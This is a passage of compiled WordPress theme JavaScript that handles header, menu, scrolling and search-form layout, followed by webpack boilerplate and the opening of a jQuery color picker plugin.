firstSectionHasParallax = $firstSection.hasClass('et_pb_section_parallax'); var firstRowHasParallax = $firstRow.hasClass('et_pb_section_parallax'); var firstModuleHasParallax = $firstModule.hasClass('et_pb_section_parallax'); if (firstSectionHasParallax || firstRowHasParallax || firstModuleHasParallax) { $(window).trigger('resize.etTrueParallaxBackground'); } } else if (et_is_fixed_nav) { $main_container_wrapper.css('paddingTop', header_height + 'px'); } $mainHeaderClone.remove(); et_change_primary_nav_position(0); $(document).trigger('et-pb-header-height-calculated'); } window.et_fix_page_container_position = et_fix_page_container_position; // Save container width on page load for reference $et_container.data('previous-width', parseInt($et_container.width())); var update_page_container_position = et_debounce(function () { et_fix_page_container_position(); if (typeof et_fix_fullscreen_section === 'function') { et_fix_fullscreen_section(); } }, 200); $(window).on('resize', function () { var window_width = parseInt($et_window.width()), has_container = $et_container.length > 0, et_container_previous_width = !has_container ? 0 : parseInt($et_container.data('previous-width')) || 0, et_container_css_width = $et_container.css('width'), et_container_width_in_pixel = typeof et_container_css_width !== 'undefined' ? et_container_css_width.substr(-1, 1) !== '%' : '', et_container_actual_width = !has_container ? 0 : et_container_width_in_pixel ? parseInt($et_container.width()) : parseInt((parseInt($et_container.width()) / 100).toFixed(0)) * window_width, // $et_container.width() doesn't recognize pixel or percentage unit. It's our duty to understand what it returns and convert it properly containerWidthChanged = $et_container.length && et_container_previous_width !== et_container_actual_width, $slide_menu_container = $('.et_slide_in_menu_container'), $adminbar = builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] ? top_window.jQuery('#wpadminbar') : $('#wpadminbar'), is_rtl = $('body').hasClass('rtl'), page_container_margin; if (et_is_fixed_nav && containerWidthChanged) { update_page_container_position(); // Update container width data for future resizing reference $et_container.data('previous-width', et_container_actual_width); } if (et_hide_nav) { et_hide_nav_transform(); } // Update header and primary adjustment when transitioning across breakpoints or inside visual builder if ($adminbar.length && et_is_fixed_nav && window_width >= 740 && window_width <= 782 || builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"]) { et_calculate_header_values(); et_change_primary_nav_position(0); } et_set_search_form_css(); if ($slide_menu_container.length && !$('body').hasClass('et_pb_slide_menu_active')) { if (is_rtl) { $slide_menu_container.css({ left: '-' + parseInt($slide_menu_container.innerWidth()) + 'px', right: 'unset' }); } else { $slide_menu_container.css({ right: '-' + parseInt($slide_menu_container.innerWidth()) + 'px' }); } if ($('body').hasClass('et_boxed_layout') && et_is_fixed_nav) { if (is_rtl) { page_container_margin = $main_container_wrapper.css('margin-right'); $main_header.css({ right: page_container_margin }); } else { page_container_margin = $main_container_wrapper.css('margin-left'); $main_header.css({ left: page_container_margin }); } } } if ($slide_menu_container.length && $('body').hasClass('et_pb_slide_menu_active')) { if ($('body').hasClass('et_boxed_layout')) { var left_position; page_container_margin = parseFloat($main_container_wrapper.css('margin-left')); $main_container_wrapper.css({ left: '-' + (parseInt($slide_menu_container.innerWidth()) - page_container_margin) + 'px' }); if (et_is_fixed_nav) { left_position = 0 > parseInt($slide_menu_container.innerWidth()) - page_container_margin * 2 ? Math.abs($slide_menu_container.innerWidth() - page_container_margin * 2) : '-' + ($slide_menu_container.innerWidth() - page_container_margin * 2); if (left_position < parseInt($slide_menu_container.innerWidth())) { $main_header.css({ left: left_position + 'px' }); } } } else { if (is_rtl) { $('#page-container, .et_fixed_nav #main-header').css({ right: '-' + parseInt($slide_menu_container.innerWidth()) + 'px' }); } else { $('#page-container, .et_fixed_nav #main-header').css({ left: '-' + parseInt($slide_menu_container.innerWidth()) + 'px' }); } } } // adjust the padding in fullscreen menu if ($slide_menu_container.length && $('body').hasClass('et_header_style_fullscreen')) { var top_bar_height = parseInt($slide_menu_container.find('.et_slide_menu_top').innerHeight()); $slide_menu_container.css({ 'padding-top': top_bar_height + 20 + 'px' }); } et_set_right_vertical_menu(); }); if (builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] && jQuery('.et_header_style_fullscreen .et_slide_in_menu_container').length > 0) { jQuery(window).on('resize', et_pb_resize_fullscreen_menu); } $(function () { if ($.fn.fitVids) { $('#main-content').fitVids({ customSelector: "iframe[src^='http://www.hulu.com'], iframe[src^='http://www.dailymotion.com'], iframe[src^='http://www.funnyordie.com'], iframe[src^='https://embed-ssl.ted.com'], iframe[src^='http://embed.revision3.com'], iframe[src^='https://flickr.com'], iframe[src^='http://blip.tv'], iframe[src^='http://www.collegehumor.com']" }); } }); function et_all_elements_loaded() { if (et_is_fixed_nav) { et_calculate_header_values(); } // Run container position calculation with 0 timeout to make sure all elements are ready for proper calculation. setTimeout(function () { et_fix_page_container_position(); }, 0); // Minified JS is ordered differently to avoid jquery-migrate to cause js error. // This might cause hiccup on some specific configuration (ie. parallax of first module on transparent nav) // Triggerring resize, in most case, re-calculate the UI correctly if (window.et_is_minified_js && window.et_is_transparent_nav && !window.et_is_vertical_nav) { $(window).trigger('resize'); } if (window.hasOwnProperty('et_location_hash') && '' !== window.et_location_hash) { // Handle the page scroll that we prevented earlier in the <head> et_page_load_scroll_to_anchor(); } if (et_header_style_left && !window.et_is_vertical_nav) { var $logo_width = parseInt($('#logo').width()); if (et_is_rtl) { $et_top_navigation.css('padding-right', $logo_width + 30 + 'px'); } else { $et_top_navigation.css('padding-left', $logo_width + 30 + 'px'); } } if ($('p.demo_store').length && $('p.demo_store').is(':visible')) { $('#footer-bottom').css('margin-bottom', $('p.demo_store').innerHeight() + 'px'); $('.woocommerce-store-notice__dismiss-link').on('click', function () { $('#footer-bottom').css('margin-bottom', ''); }); } if ($.fn.waypoint) { var $waypoint_selector; if (et_is_vertical_fixed_nav) { $waypoint_selector = $('#main-content'); $waypoint_selector.waypoint({ handler: function handler(direction) { et_fix_logo_transition(); if (direction === 'down') { $('#main-header').addClass('et-fixed-header'); } else { $('#main-header').removeClass('et-fixed-header'); } } }); } if (et_is_fixed_nav) { // Changing waypoint selector to first section's row / module when transparent // nav is used only valid if the first section position is on offset top = 0 // (or 32 when admin bar exist) to avoid `et-fixed-nav` classname being added // too late when the window is scrolled too way down var firstRowOffsetTop = $et_pb_first_row.length > 0 ? $et_pb_first_row.offset().top : 0; var maxFirstRowOffsetTop = $('#wpadminbar').length ? $('#wpadminbar').height() : 0; var isFirstRowOnTop = firstRowOffsetTop <= maxFirstRowOffsetTop; if (isFirstRowOnTop && window.et_is_transparent_nav && !window.et_is_vertical_nav && $et_pb_first_row.length) { // Fullscreen section at the first row requires specific adjustment if ($et_pb_first_row.is('.et_pb_fullwidth_section')) { $waypoint_selector = $et_pb_first_row.children('.et_pb_module:visible').first(); } else { $waypoint_selector = $et_pb_first_row.find('.et_pb_row:visible').first(); } // Fallback for a less likely but possible scenario: a) fullwidth section // has no module OR b) other section has no row. When this happened, // the safest option is look for the first visible module and use it // as waypoint selector if (!$waypoint_selector.length) { $waypoint_selector = et_get_first_module(); } } else if (isFirstRowOnTop && window.et_is_transparent_nav && !window.et_is_vertical_nav && $et_main_content_first_row.length) { $waypoint_selector = $('#content-area'); } else { $waypoint_selector = $('#main-content'); } // Disabled section/row/module can cause waypoint to trigger 'down' event during its setup even if // no scrolling happened, which would result in 'et-fixed-header' class being prematurely added. // Since this only happens when page is loaded, we add an extra check that is no longer needed // as soon as waypoint initialization is finished. var checkIfScrolled = true; setTimeout(function () { checkIfScrolled = false; }, 0); $waypoint_selector.waypoint({ offset: function offset() { if (etRecalculateOffset) { setTimeout(function () { et_calculate_header_values(); }, 200); etRecalculateOffset = false; } if (et_hide_nav) { return et_header_offset - et_header_height - 200; } else { // Transparent nav modification: #page-container's offset is set to 0. Modify et_header_offset's according to header height var waypoint_selector_offset = $waypoint_selector.offset(); if (waypoint_selector_offset.top < et_header_offset) { et_header_offset = 0 - (et_header_offset - waypoint_selector_offset.top); } return et_header_offset; } }, handler: function handler(direction) { et_fix_logo_transition(); if (direction === 'down') { if (checkIfScrolled && $et_window.scrollTop() === 0) { return; } $main_header.addClass('et-fixed-header'); $main_container_wrapper.addClass('et-animated-content'); $top_header.addClass('et-fixed-header'); if (!et_hide_nav && !window.et_is_transparent_nav && !$('.mobile_menu_bar_toggle').is(':visible')) { var secondary_nav_height = $top_header.length ? parseInt($top_header.height()) : 0, $clone_header, clone_header_height, fix_padding; $clone_header = $main_header.clone().addClass('et-fixed-header, et_header_clone').css({ 'transition': 'none', 'display': 'none' }); clone_header_height = parseInt($clone_header.prependTo('body').height()); // Vertical nav doesn't need #page-container margin-top adjustment if (!window.et_is_vertical_nav) { fix_padding = parseInt($main_container_wrapper.css('padding-top')) - clone_header_height - secondary_nav_height + 1; $main_container_wrapper.css('margin-top', -fix_padding + 'px'); } $('.et_header_clone').remove(); } } else { fix_padding = 1; $main_header.removeClass('et-fixed-header'); $top_header.removeClass('et-fixed-header'); $main_container_wrapper.css('margin-top', -fix_padding + 'px'); } // Dispatch event when fixed header height transition starts window.dispatchEvent(new CustomEvent('ETDiviFixedHeaderTransitionStart', { detail: { marginTop: -fix_padding } })); setTimeout(function () { et_set_search_form_css(); // Dispatch another event when fixed header height transition ends window.dispatchEvent(new CustomEvent('ETDiviFixedHeaderTransitionEnd', { detail: { marginTop: -fix_padding } })); }, 400); } }); } if (et_hide_nav) { et_hide_nav_transform(); } } } $('a[href*="#"]:not([href="#"]), .mobile_nav').on('click', function (e) { var $this_link = $(this), has_closest_smooth_scroll_disabled = $this_link.closest('.et_smooth_scroll_disabled').length, has_closest_woocommerce_tabs = $this_link.closest('.woocommerce-tabs').length && $this_link.closest('.tabs').length, has_closest_timetable_tab = $this_link.closest('.tt_tabs_navigation').length, has_closest_eab_cal_link = $this_link.closest('.eab-shortcode_calendar-navigation-link').length, has_closest_ee_cart_link = $this_link.closest('.view-cart-lnk').length, has_acomment_reply = $this_link.hasClass('acomment-reply'), is_woocommerce_review_link = $this_link.hasClass('woocommerce-review-link'), disable_scroll = has_closest_smooth_scroll_disabled || has_closest_ee_cart_link || has_closest_woocommerce_tabs || has_closest_eab_cal_link || has_acomment_reply || is_woocommerce_review_link || has_closest_timetable_tab; if (($this_link.hasClass('mobile_nav') || location.pathname.replace(/^\//, '') == this.pathname.replace(/^\//, '') && location.hostname == this.hostname) && !disable_scroll) { var target = $(this.hash); // Workaround for empty target in mobile menu. if ($this_link.hasClass('mobile_nav')) { target = $('#' + e.target.hash.slice(1)); // Workaround for Popup Maker plugin not working in mobile. if ($(e.target).parent().hasClass('pum-trigger')) { e.preventDefault(); var temp_classes = $(e.target).parent().attr('class').split(' '); var pop_make_classes = temp_classes.filter(function (pop_make_class) { return pop_make_class.includes('popmake'); }); var id_slug = pop_make_classes[0].split('-')[1]; $("#pum-".concat(id_slug)).css({ 'opacity': '1', 'display': 'block' }); $("#popmake-".concat(id_slug)).css({ 'opacity': '1', 'display': 'block' }); } } if (!target.length && this.hash) { target = $('[name=' + this.hash.slice(1) + ']'); } if (target.length) { // Workaround for reviews tab in woo tabs. if ($(this).parents().hasClass('widget_recent_reviews')) { $('.reviews_tab').trigger('click').animate({ scrollTop: target.offset().top }, 700); } // automatically close fullscreen menu if clicked from there if ($this_link.closest('.et_pb_fullscreen_menu_opened').length > 0) { et_pb_toggle_fullscreen_menu(); } setTimeout(function () { et_pb_smooth_scroll(target, false, 800); }, 0); if (!$('#main-header').hasClass('et-fixed-header') && $('body').hasClass('et_fixed_nav') && $(window).width() > 980) { setTimeout(function () { et_pb_smooth_scroll(target, false, 40, 'linear'); }, 780); } return false; } } }); var et_pb_window_side_nav_get_sections = function et_pb_window_side_nav_get_sections() { var $postRoot = $('.et-l--post'); var $inTBBody = $('.et-l--body .et_pb_section').not('.et-l--post .et_pb_section'); var $inPost; if (builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"]) { $inPost = $postRoot.find('.et-fb-post-content > .et_pb_section'); } else { $inPost = $postRoot.find('.et_builder_inner_content > .et_pb_section'); } if (0 === $inTBBody.length || $inPost.length > 1) { return $inPost; } return $inTBBody; }; window.et_pb_window_side_nav_scroll_init = function () { if (true === window.et_calculating_scroll_position || false === window.et_side_nav_links_initialized) { return; } var $sections = et_pb_window_side_nav_get_sections(); window.et_calculating_scroll_position = true; var is_tb_layout_used = $('.et-l--header').length || $('.et-l--body').length || !$('#main-header').length; var add_offset_default = is_tb_layout_used ? 0 : -90; var add_offset = $('body').hasClass('et_fixed_nav') ? 20 : add_offset_default; var top_header_height = $('#top-header').length > 0 ? parseInt($('#top-header').height()) : 0; var main_header_height = $('#main-header').length > 0 ? parseInt($('#main-header').height()) : 0; var side_offset; if ($('#wpadminbar').length > 0 && parseInt($(window).width()) > 600) { add_offset += parseInt($('#wpadminbar').outerHeight()); } if (window.et_is_vertical_nav) { side_offset = top_header_height + add_offset + 60; } else { side_offset = top_header_height + main_header_height + add_offset; } var window_height = parseInt($(window).height()); var scroll_position = parseInt($(window).scrollTop()); var document_height = parseInt($(document).height()); var at_bottom_of_page = window_height + scroll_position === document_height; var total_links = $('.side_nav_item a').length - 1; for (var link = 0; link <= total_links; link++) { var $target_section = $sections.eq(link); var at_top_of_page = 'undefined' === typeof $target_section.offset(); var current_active = $('.side_nav_item a.active').parent().index(); var next_active = null; var target_offset = false === at_top_of_page ? $target_section.offset().top - side_offset : 0; if (at_top_of_page) { next_active = 0; } else if (at_bottom_of_page) { next_active = total_links; } else if (scroll_position >= target_offset) { next_active = link; } if (null !== next_active && next_active !== current_active) { $('.side_nav_item a').removeClass('active'); $('a#side_nav_item_id_' + next_active).addClass('active'); } } window.et_calculating_scroll_position = false; }; window.et_pb_side_nav_page_init = function () { var $sections = et_pb_window_side_nav_get_sections(); var total_sections = $sections.length; var side_nav_offset = parseInt((total_sections * 20 + 40) / 2); window.et_side_nav_links_initialized = false; window.et_calculating_scroll_position = false; if (total_sections > 1 && $('.et_pb_side_nav_page').length) { $('#main-content').append('<ul class="et_pb_side_nav"></ul>'); $sections.each(function (index, element) { var active_class = 0 === index ? 'active' : ''; $('.et_pb_side_nav').append('<li class="side_nav_item"><a href="#" id="side_nav_item_id_' + index + '" class= "' + active_class + '">' + index + '</a></li>'); if (total_sections - 1 === index) { window.et_side_nav_links_initialized = true; } }); $('ul.et_pb_side_nav').css('marginTop', '-' + side_nav_offset + 'px'); $('.et_pb_side_nav').addClass('et-visible'); $('.et_pb_side_nav a').on('click', function () { // We use the index position of the sections to locate them instead of custom classes so // that we have the same implementation for the frontend website and the Visual Builder. var index = parseInt($(this).text()); var $target = $sections.eq(index); var top_section = $(this).text() == "0" && !$('.et-l--body').length; et_pb_smooth_scroll($target, top_section, 800); if (!$('#main-header').hasClass('et-fixed-header') && $('body').hasClass('et_fixed_nav') && parseInt($(window).width()) > 980) { setTimeout(function () { et_pb_smooth_scroll($target, top_section, 200); }, 500); } return false; }); $(window).on('scroll', et_pb_window_side_nav_scroll_init); } }; if ($('body').is('.et-fb, .et-bfb')) { // Debounce slow function window.et_pb_side_nav_page_init = et_debounce(window.et_pb_side_nav_page_init, 200); } et_pb_side_nav_page_init(); if ($('.et_pb_scroll_top').length) { $(window).on('scroll', function () { if ($(this).scrollTop() > 800) { $('.et_pb_scroll_top').show().removeClass('et-hidden').addClass('et-visible'); } else { $('.et_pb_scroll_top').removeClass('et-visible').addClass('et-hidden'); } }); //Click event to scroll to top $('.et_pb_scroll_top').on('click', function () { $('html, body').animate({ scrollTop: 0 }, 800); }); } if ($('.comment-reply-link').length) { $('.comment-reply-link').addClass('et_pb_button'); } $('#et_top_search').on('click', function () { var $search_container = $('.et_search_form_container'); if ($search_container.hasClass('et_pb_is_animating')) { return; } $('.et_menu_container').removeClass('et_pb_menu_visible et_pb_no_animation').addClass('et_pb_menu_hidden'); $search_container.removeClass('et_pb_search_form_hidden et_pb_no_animation').addClass('et_pb_search_visible et_pb_is_animating'); setTimeout(function () { $('.et_menu_container').addClass('et_pb_no_animation'); $search_container.addClass('et_pb_no_animation').removeClass('et_pb_is_animating'); }, 1000); $search_container.find('input').trigger('focus'); et_set_search_form_css(); }); function et_hide_search() { if ($('.et_search_form_container').hasClass('et_pb_is_animating')) { return; } $('.et_menu_container').removeClass('et_pb_menu_hidden et_pb_no_animation').addClass('et_pb_menu_visible'); $('.et_search_form_container').removeClass('et_pb_search_visible et_pb_no_animation').addClass('et_pb_search_form_hidden et_pb_is_animating'); setTimeout(function () { $('.et_menu_container').addClass('et_pb_no_animation'); $('.et_search_form_container').addClass('et_pb_no_animation').removeClass('et_pb_is_animating'); }, 1000); } function et_set_search_form_css() { var $search_container = $('.et_search_form_container'); var $body = $('body'); if ($search_container.hasClass('et_pb_search_visible')) { var header_height = $('#main-header').innerHeight(), menu_width = $('#top-menu').width(), font_size = $('#top-menu li a').css('font-size'); $search_container.css({ 'height': header_height + 'px' }); $search_container.find('input').css('font-size', font_size); if (!$body.hasClass('et_header_style_left')) { $search_container.css('max-width', menu_width + 60 + 'px'); } else { $search_container.find('form').css('max-width', menu_width + 60 + 'px'); } } } $('.et_close_search_field').on('click', function () { et_hide_search(); }); $(document).on('mouseup', function (e) { var $header = $('#main-header'); if ($('.et_menu_container').hasClass('et_pb_menu_hidden')) { if (!$header.is(e.target) && $header.has(e.target).length === 0) { et_hide_search(); } } }); // Detect actual logo dimension, used for tricky fixed navigation transition function et_define_logo_dimension() { var logo_src = $logo.is('img') ? $logo.attr('src') : $logo.find('img').attr('src'), is_svg = logo_src.substr(-3, 3) === 'svg' ? true : false, $logo_wrap, logo_width, logo_height; // Append invisible wrapper at the bottom of the page $('body').append($('<div />', { 'id': 'et-define-logo-wrap', 'style': 'position: fixed; bottom: 0; opacity: 0;' })); // Define logo wrap $logo_wrap = $('#et-define-logo-wrap'); if (is_svg) { $logo_wrap.addClass('svg-logo'); } // Clone logo to invisible wrapper $logo_wrap.html($logo.clone().css({ 'display': 'block' }).removeAttr('id')); // Get dimension logo_width = $logo_wrap.find('img').width(); logo_height = $logo_wrap.find('img').height(); // Add data attribute to $logo $logo.attr({ 'data-actual-width': logo_width, 'data-actual-height': logo_height }); // Destroy invisible wrapper $logo_wrap.remove(); // Init logo transition onload et_fix_logo_transition(true); } if ($logo.length) { var logo_src = $logo.is('img') ? $logo.attr('src') : $logo.find('img').attr('src'); // Wait until logo is loaded before performing logo dimension fix // This comes handy when the page is heavy due to the use of images or other assets et_preload_image(logo_src, et_define_logo_dimension); } // Set width for adsense in footer widget $('.footer-widget').each(function () { var $footer_widget = $(this), footer_widget_width = $footer_widget.width(), $adsense_ins = $footer_widget.find('.widget_adsensewidget ins'); if ($adsense_ins.length) { $adsense_ins.width(footer_widget_width); } }); /** * Visual Builder adjustment */ function et_fb_side_nav_page_init() { $(window).off('scroll', window.et_pb_window_side_nav_scroll_init); $('#main-content .et_pb_side_nav').off('click', '.et_pb_side_nav a'); $('#main-content .et_pb_side_nav').remove(); et_pb_side_nav_page_init(); } if ($('body').is('.et-fb')) { $(window).on('et_fb_root_did_mount', function () { et_fb_side_nav_page_init(); et_all_elements_loaded(); }); $(window).on('et_fb_section_content_change', et_fb_side_nav_page_init); } else { window.addEventListener('load', et_all_elements_loaded); } }); // Fixing logo size transition in tricky header style function et_fix_logo_transition(is_onload) { var $body = $('body'), $logo = $('#logo'), logo_actual_width = parseInt($logo.attr('data-actual-width')), logo_actual_height = parseInt($logo.attr('data-actual-height')), logo_height_percentage = parseInt($logo.attr('data-height-percentage')), $top_nav = $('#et-top-navigation'), top_nav_height = parseInt($top_nav.attr('data-height')), top_nav_fixed_height = parseInt($top_nav.attr('data-fixed-height')), $main_header = $('#main-header'), is_header_split = $body.hasClass('et_header_style_split'), is_fixed_nav = $main_header.hasClass('et-fixed-header'), is_hide_primary_logo = $body.hasClass('et_hide_primary_logo'), is_hide_fixed_logo = $body.hasClass('et_hide_fixed_logo'), logo_height_base = is_fixed_nav ? top_nav_height : top_nav_fixed_height, logo_wrapper_width, logo_wrapper_height; is_onload = typeof is_onload === 'undefined' ? false : is_onload; // Fix for inline centered logo in horizontal nav if (is_header_split && !window.et_is_vertical_nav) { // On page load, logo_height_base should be top_nav_height if (is_onload) { logo_height_base = top_nav_height; } // Calculate logo wrapper height logo_wrapper_height = logo_height_base * (logo_height_percentage / 100) + 22; // Calculate logo wrapper width logo_wrapper_width = logo_actual_width * (logo_wrapper_height / logo_actual_height); // Override logo wrapper width to 0 if it is hidden if (is_hide_primary_logo && (is_fixed_nav || is_onload)) { logo_wrapper_width = 0; } if (is_hide_fixed_logo && !is_fixed_nav && !is_onload) { logo_wrapper_width = 0; } // Set fixed width for logo wrapper to force correct dimension $('.et_header_style_split .centered-inline-logo-wrap').css({ 'width': logo_wrapper_width + 'px' }); } } function et_toggle_slide_menu(force_state) { var $slide_menu_container = $('.et_header_style_slide .et_slide_in_menu_container'), $page_container = $('.et_header_style_slide #page-container, .et_header_style_slide.et_fixed_nav #main-header'), $header_container = $('.et_header_style_slide #main-header'), is_menu_opened = $slide_menu_container.hasClass('et_pb_slide_menu_opened'), set_to = typeof force_state !== 'undefined' ? force_state : 'auto', is_boxed_layout = $('body').hasClass('et_boxed_layout'), page_container_margin = is_boxed_layout ? parseFloat($('#page-container').css('margin-left')) : 0, slide_container_width = $slide_menu_container.innerWidth(), is_rtl = $('body').hasClass('rtl'); if ('auto' !== set_to && (is_menu_opened && 'open' === set_to || !is_menu_opened && 'close' === set_to)) { return; } if (is_menu_opened) { if (is_rtl) { $slide_menu_container.css({ left: '-' + slide_container_width + 'px' }); $page_container.css({ right: '0px' }); } else { $slide_menu_container.css({ right: '-' + slide_container_width + 'px' }); $page_container.css({ left: '0px' }); } if (is_boxed_layout && et_is_fixed_nav) { if (is_rtl) { $header_container.css({ right: page_container_margin + 'px' }); } else { $header_container.css({ left: page_container_margin + 'px' }); } } // hide the menu after animation completed setTimeout(function () { $slide_menu_container.css({ 'display': 'none' }); }, 700); } else { $slide_menu_container.css({ 'display': 'block' }); // add some delay to make sure css animation applied correctly setTimeout(function () { if (is_rtl) { $slide_menu_container.css({ left: '0px' }); $page_container.css({ right: '-' + (slide_container_width - page_container_margin) + 'px' }); } else { $slide_menu_container.css({ right: '0px' }); $page_container.css({ left: '-' + (slide_container_width - page_container_margin) + 'px' }); } if (is_boxed_layout && et_is_fixed_nav) { var left_position = 0 > slide_container_width - page_container_margin * 2 ? Math.abs(slide_container_width - page_container_margin * 2) : '-' + (slide_container_width - page_container_margin * 2); if (left_position < slide_container_width) { if (is_rtl) { $header_container.css({ right: left_position + 'px' }); } else { $header_container.css({ left: left_position + 'px' }); } } } }, 50); } $('body').toggleClass('et_pb_slide_menu_active'); $slide_menu_container.toggleClass('et_pb_slide_menu_opened'); } // Scrolling to the correct place on page if Fixed Nav enabled function et_adjust_woocommerce_checkout_scroll() { if (!et_is_fixed_nav) { return; } var window_width = parseInt($et_window.width()); if (980 >= window_width) { return; } var headerHeight = parseInt($('#main-header').length ? $('#main-header').innerHeight() : 0); // scroll to the top of checkout form taking into account fixed header height $('html, body').animate({ scrollTop: $('form.checkout').offset().top - 100 - headerHeight }, 1000); } $('#main-header').on('click', '.et_toggle_slide_menu', function () { et_toggle_slide_menu(); }); if (et_is_touch_device) { // open slide menu on swipe left $et_window.on('swipeleft', function (event) { var window_width = parseInt($et_window.width()), swipe_start = parseInt(event.swipestart.coords[0]); // horizontal coordinates of the swipe start // if swipe started from the right edge of screen then open slide menu if (30 >= window_width - swipe_start) { et_toggle_slide_menu('open'); } }); // close slide menu on swipe right $et_window.on('swiperight', function (event) { if ($('body').hasClass('et_pb_slide_menu_active')) { et_toggle_slide_menu('close'); } }); } $('#page-container').on('click', '.et_toggle_fullscreen_menu', function () { et_pb_toggle_fullscreen_menu(); }); function et_pb_toggle_fullscreen_menu() { var $menu_container = $('.et_header_style_fullscreen .et_slide_in_menu_container'), top_bar_height = $menu_container.find('.et_slide_menu_top').innerHeight(); $menu_container.toggleClass('et_pb_fullscreen_menu_opened'); $('body').toggleClass('et_pb_fullscreen_menu_active'); et_pb_resize_fullscreen_menu(); if ($menu_container.hasClass('et_pb_fullscreen_menu_opened')) { $menu_container.addClass('et_pb_fullscreen_menu_animated'); // adjust the padding in fullscreen menu $menu_container.css({ 'padding-top': top_bar_height + 20 + 'px' }); } else { setTimeout(function () { $menu_container.removeClass('et_pb_fullscreen_menu_animated'); }, 1000); } } function et_pb_resize_fullscreen_menu(e) { if (builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"]) { var $menu = jQuery('.et_header_style_fullscreen .et_slide_in_menu_container.et_pb_fullscreen_menu_opened'); if ($menu.length > 0) { var height = jQuery(top_window).height(); // Account for padding height -= parseInt($menu.css('padding-top'), 10); // and AdminBar if ($menu.closest('.admin-bar').length > 0) { height -= 32; } $menu.find('.et_pb_fullscreen_nav_container').css('max-height', height + 'px'); } } } $(window).on('visibilitychange', function () { /** * Fix the issue with Fullscreen menu, that remains open, * when back button is clicked in Firefox */ if ($('body').hasClass('et_pb_fullscreen_menu_active')) { $('.et_toggle_fullscreen_menu').trigger('click'); } }); $('.et_pb_fullscreen_nav_container').on('click', 'li.menu-item-has-children > a', function () { var $this_parent = $(this).closest('li'), $this_arrow = $this_parent.find('>a .et_mobile_menu_arrow'), $closest_submenu = $this_parent.find('>ul'), is_opened_submenu = $this_arrow.hasClass('et_pb_submenu_opened'), sub_menu_max_height; $this_arrow.toggleClass('et_pb_submenu_opened'); if (is_opened_submenu) { $closest_submenu.removeClass('et_pb_slide_dropdown_opened'); $closest_submenu.slideToggle(700, 'easeInOutCubic'); } else { $closest_submenu.slideToggle(700, 'easeInOutCubic'); $closest_submenu.addClass('et_pb_slide_dropdown_opened'); } return false; }); // define initial padding-top for fullscreen menu container if ($('body').hasClass('et_header_style_fullscreen')) { var $menu_container = $('.et_header_style_fullscreen .et_slide_in_menu_container'); if ($menu_container.length) { var top_bar_height = $menu_container.find('.et_slide_menu_top').innerHeight(); $menu_container.css({ 'padding-top': top_bar_height + 20 + 'px' }); } } // adjust the scrolling position on Woocommerce checkout page in case of error $(document.body).on('checkout_error', function () { et_adjust_woocommerce_checkout_scroll(); }); $(document.body).on('updated_checkout', function (data) { if ('failure' !== data.result) { return; } et_adjust_woocommerce_checkout_scroll(); }); // Override row selector in VB $et_window.on('et_fb_init', function () { var wp = top_window.wp; if (wp && wp.hooks && wp.hooks.addFilter) { var replacement = window.DIVI.row_selector; wp.hooks.addFilter('et.pb.row.css.selector', 'divi.et.pb.row.css.selector', function (selector) { return selector.replace('%%row_selector%%', replacement); }); } }); })(jQuery); /***/ }), /***/ "./node_modules/webpack/buildin/global.js": /*!***********************************!*\ !*** (webpack)/buildin/global.js ***! \***********************************/ /*! no static exports found */ /***/ (function(module, exports) { var g; // This works in non-strict mode g = (function() { return this; })(); try { // This works if eval is allowed (see CSP) g = g || new Function("return this")(); } catch (e) { // This works if the window reference is available if (typeof window === "object") g = window; } // g can still be undefined, but nothing to do about it... // We return undefined, instead of nothing here, so it's // easier to handle this case. if(!global) { ...} module.exports = g; /***/ }), /***/ "./node_modules/webpack/buildin/module.js": /*!***********************************!*\ !*** (webpack)/buildin/module.js ***! \***********************************/ /*! no static exports found */ /***/ (function(module, exports) { module.exports = function(module) { if (!module.webpackPolyfill) { module.deprecate = function() {}; module.paths = []; // module.parent = undefined by default if (!module.children) module.children = []; Object.defineProperty(module, "loaded", { enumerable: true, get: function() { return module.l; } }); Object.defineProperty(module, "id", { enumerable: true, get: function() { return module.i; } }); module.webpackPolyfill = 1; } return module; }; /***/ }), /***/ "jquery": /*!*************************!*\ !*** external "jQuery" ***! \*************************/ /*! no static exports found */ /***/ (function(module, exports) { module.exports = jQuery; /***/ }) /******/ }); //# sourceMappingURL=custom.js.map colorpicker.js 0000644 00000041127 15222651262 0007426 0 ustar 00 /** * * Color picker * Author: Stefan Petre www.eyecon.ro * * Dual licensed under the MIT and GPL licenses * * Modified to adapt the latest jQuery version (v3 above) included on WordPress 5.6: * - (2021-02-05) - Number type value passed to css method is deprecated. * - (2021-02-05) - jQuery bind method is deprecated. * - (2021-02-05) - jQuery unbind method is deprecated. * - (2021-02-05) - jQuery focus method is deprecated. */ (function ($) { var ColorPicker = function () { var ids = {}, inAction, charMin = 65, visible, tpl = '<div class="colorpicker"><div class="colorpicker_color"><div><div></div></div></div><div class="colorpicker_hue"><div></div></div><div class="colorpicker_new_color"></div><div class="colorpicker_current_color"></div><div class="colorpicker_hex"><input type="text" maxlength="6" size="6" /></div><div class="colorpicker_rgb_r colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_rgb_g colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_rgb_b colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_hsb_h colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_hsb_s colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_hsb_b colorpicker_field"><input type="text" maxlength="3" size="3" /><span></span></div><div class="colorpicker_submit"></div></div>', defaults = { eventName: 'click', onShow: function () {}, onBeforeShow: function(){}, onHide: function () {}, onChange: function () {}, onSubmit: function () {}, color: 'ff0000', livePreview: true, flat: false }, fillRGBFields = function (hsb, cal) { var rgb = HSBToRGB(hsb); $(cal).data('colorpicker').fields .eq(1).val(rgb.r).end() .eq(2).val(rgb.g).end() .eq(3).val(rgb.b).end(); }, fillHSBFields = function (hsb, cal) { $(cal).data('colorpicker').fields .eq(4).val(hsb.h).end() .eq(5).val(hsb.s).end() .eq(6).val(hsb.b).end(); }, fillHexFields = function (hsb, cal) { $(cal).data('colorpicker').fields .eq(0).val(HSBToHex(hsb)).end(); }, setSelector = function (hsb, cal) { 